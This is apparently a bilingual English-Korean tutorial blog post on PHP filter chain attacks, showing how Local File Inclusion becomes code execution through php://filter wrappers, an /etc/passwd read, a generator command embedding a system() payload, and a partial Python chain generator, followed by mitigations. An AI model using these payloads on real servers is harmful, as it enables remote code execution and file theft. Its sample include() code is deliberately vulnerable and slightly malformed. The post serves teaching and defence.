PHP Filter Chain: Beyond Simple LFI

PHP Filter Chain: Beyond Simple LFI

in

Overview

PHP Filter Chain is a powerful exploitation technique that can be used in Local File Inclusion (LFI) vulnerabilities to achieve code execution. This post explains how PHP wrappers and filter chains work, and how they can be used to bypass security restrictions.

PHP Filter Gadget Chain

PHP Filter Gadget Chain is an attack technique that uses encoding and decoding repetitively to inject attacker code when a server is vulnerable to LFI through include() functions. While LFI vulnerabilities themselves may have limited impact, this technique becomes particularly useful when extension validation is implemented.

Key characteristics:

  • Uses PHP filters for exploitation
  • Allows attackers to choose which files to include in the LFI attack
  • Particularly effective against applications that check file extensions

PHP Wrappers

PHP wrappers become useful when applications attempt to restrict LFI by appending file extensions. For example, consider the following vulnerable code:

<?php
    $file = $_GET['file_name'];
    include('file_name'+'.php');
?>

In older PHP versions, null byte attacks could bypass such restrictions, but as PHP evolved, these techniques became ineffective. This is where PHP wrappers come into play:

php://filter/convert.base64-encode/resource=/etc/passwd

When used with LFI, this wrapper doesn’t render the PHP file. Instead, it encodes the actual source code in base64 and returns it, allowing attackers to view the raw PHP code.

php://convert.iconv

The convert.iconv wrapper in PHP provides a way to convert between character encodings. If the iconv extension is enabled on the server, attackers can access content through the php://convert.iconv.*.* wrapper:

convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>

For example, to convert a file from UTF-8 to ISO-8859-1:

$file = file_get_contents('php://convert.iconv.UTF-8/ISO-8859-1/resource=file.txt');

Base64 Decoding Quirks

The base64-decode filter has certain quirks when handling padding with = characters, often mishandling them. This behavior can be exploited as part of a chain.

Unicode BOM (Byte Order Mark)

Some encodings add a Byte Order Mark (BOM) at the beginning of encoded results to indicate byte ordering for the system. Interestingly, if you add @_> to a string, the base64-decode filter recognizes this as a BOM and ignores it during decoding:

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

Through repeated encoding and decoding, “garbage” BOMs accumulate in front of the data. By repeating this process strategically, attackers can construct desired data payloads.

Automated Exploitation

This complex process can be automated using the PHP Filter Chain Generator tool:

python3 php_filter_chain_generator.py --chain '<?php system("find /readflag -name readflag -exec cat {} \\; 2>&1"); ?> '

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...

Alternative Implementation

Here’s another implementation of the filter chain generator:

#!/usr/bin/env python3
import argparse
import base64
import re

# Conversions dictionary for different character mappings
conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    # ... [dictionary entries continue]
}

def generate_filter_chain(chain, debug_base64 = False):
    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs 
    filters += "convert.iconv.UTF8.UTF7|"

    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # don't add the decode while debugging chains
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

# Main function and CLI handling code...

Practical Usage

To use this technique:

  1. Identify a vulnerable PHP application with LFI
  2. Generate the appropriate filter chain for your payload
  3. Inject the chain into the LFI parameter
  4. The server will process the chain and execute your code

Security Implications

This technique demonstrates why proper input validation and secure coding practices are essential. To protect against PHP Filter Chain attacks:

  1. Implement strict input validation
  2. Avoid using user input in file inclusion functions
  3. Use allowlists rather than denylists for file access
  4. Consider disabling unnecessary PHP wrappers in production environments

References

개요

LFI(Local File Inclusion) 취약점을 발견했는데 파일을 읽는 것 말고는 별로 할 게 없어 보일 때가 있죠. PHP Filter Chain은 바로 그 밋밋해 보이는 LFI를 코드 실행까지 끌어올리는 강력한 기법입니다. 이 글에서는 PHP 래퍼(wrapper)와 필터 체인이 어떻게 동작하는지, 그리고 이걸 어떻게 보안 제약 우회에 써먹는지 하나씩 살펴보겠습니다.

PHP Filter Gadget Chain

PHP Filter Gadget Chain은 서버가 include() 함수를 통한 LFI에 취약할 때, 인코딩과 디코딩을 반복해서 공격자의 코드를 밀어 넣는 기법입니다. LFI 자체는 파급력이 제한적일 수 있지만, 확장자 검증이 걸려 있는 상황에서는 이 기법이 특히 빛을 발하는데요.

핵심만 짚으면 이렇습니다.

  • 공격에 PHP 필터를 활용한다
  • LFI에서 어떤 파일을 include할지 공격자가 골라잡을 수 있게 해준다
  • 파일 확장자를 검사하는 애플리케이션에 특히 잘 통한다

PHP 래퍼(Wrapper)

PHP 래퍼는 애플리케이션이 파일 확장자를 덧붙여 LFI를 막으려 할 때 진가를 발휘합니다. 예를 들어 다음 같은 취약한 코드를 볼게요.

<?php
    $file = $_GET['file_name'];
    include('file_name'+'.php');
?>

예전 PHP에서는 널 바이트 공격으로 이런 제약을 넘을 수 있었지만, PHP가 발전하면서 그 수법은 이제 통하지 않습니다. 바로 이 지점에서 PHP 래퍼가 등장하죠.

php://filter/convert.base64-encode/resource=/etc/passwd

LFI와 함께 쓰면 이 래퍼는 PHP 파일을 실행(렌더링)하지 않습니다. 대신 실제 소스 코드를 base64로 인코딩해서 돌려주죠. 덕분에 공격자는 원본 PHP 코드를 그대로 들여다볼 수 있게 됩니다.

php://convert.iconv

PHP의 convert.iconv 래퍼는 문자 인코딩을 서로 변환해 주는 도구입니다. 서버에 iconv 확장이 켜져 있으면, 공격자는 php://convert.iconv.*.* 래퍼로 콘텐츠에 접근할 수 있는데요.

convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>

예를 들어 파일을 UTF-8에서 ISO-8859-1로 변환하려면 이렇게 씁니다.

$file = file_get_contents('php://convert.iconv.UTF-8/ISO-8859-1/resource=file.txt');

Base64 디코딩의 특이 동작

base64-decode 필터는 = 문자로 된 패딩을 다룰 때 좀 이상하게 굴어서, 종종 이를 잘못 처리합니다. 그리고 바로 이 어긋난 동작을 체인의 한 조각으로 악용할 수 있죠.

유니코드 BOM (Byte Order Mark)

일부 인코딩은 시스템에 바이트 순서를 알려 주려고 인코딩 결과 앞에 BOM(Byte Order Mark)을 붙입니다. 재미있게도 문자열 앞에 @_>를 붙이면, base64-decode 필터가 이걸 BOM으로 착각해서 디코딩할 때 그냥 무시해 버리는데요.

$ php -r "echo base64_decode('@_>YmFzZTY0');"
base64

이렇게 인코딩과 디코딩을 반복하다 보면 데이터 앞에 “쓰레기” BOM이 차곡차곡 쌓입니다. 이 과정을 전략적으로 되풀이하면, 공격자는 자기가 원하는 데이터 페이로드를 한 글자씩 빚어낼 수 있는 거예요.

자동화된 공격

이 복잡한 과정은 PHP Filter Chain Generator 도구로 손쉽게 자동화할 수 있습니다.

python3 php_filter_chain_generator.py --chain '<?php system("find /readflag -name readflag -exec cat {} \\; 2>&1"); ?> '

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...

또 다른 구현

필터 체인 생성기를 다르게 구현한 버전도 한번 볼게요.

#!/usr/bin/env python3
import argparse
import base64
import re

# 문자 매핑을 위한 변환 딕셔너리
conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    # ... [딕셔너리 항목 계속]
}

def generate_filter_chain(chain, debug_base64 = False):
    encoded_chain = chain
    # 쓰레기 base64를 만들어낸다
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # 등호(=)를 반드시 제거한다
    filters += "convert.iconv.UTF8.UTF7|"

    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # 유효한 base64가 아닌 것을 모두 제거하기 위해 디코드 후 재인코드
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # 등호 제거
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # 체인 디버깅 중에는 디코드를 추가하지 않는다
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

# 메인 함수 및 CLI 처리 코드...

실전 사용법

실제로 이 기법을 쓰는 흐름은 이렇습니다.

  1. LFI가 있는 취약한 PHP 애플리케이션을 찾는다
  2. 페이로드에 맞는 필터 체인을 생성한다
  3. 그 체인을 LFI 파라미터에 밀어 넣는다
  4. 서버가 체인을 처리하면서 공격자의 코드를 실행한다

보안적 함의

이 기법은 적절한 입력 검증과 안전한 코딩 습관이 왜 필수인지를 아주 잘 보여줍니다. PHP Filter Chain 공격을 막으려면 이렇게 하세요.

  1. 엄격한 입력 검증을 구현한다
  2. 파일 include 함수에 사용자 입력을 그대로 쓰지 않는다
  3. 파일 접근은 거부 목록(denylist)이 아니라 허용 목록(allowlist)으로 다룬다
  4. 운영 환경에서는 불필요한 PHP 래퍼를 꺼 두는 것을 고려한다

참고 자료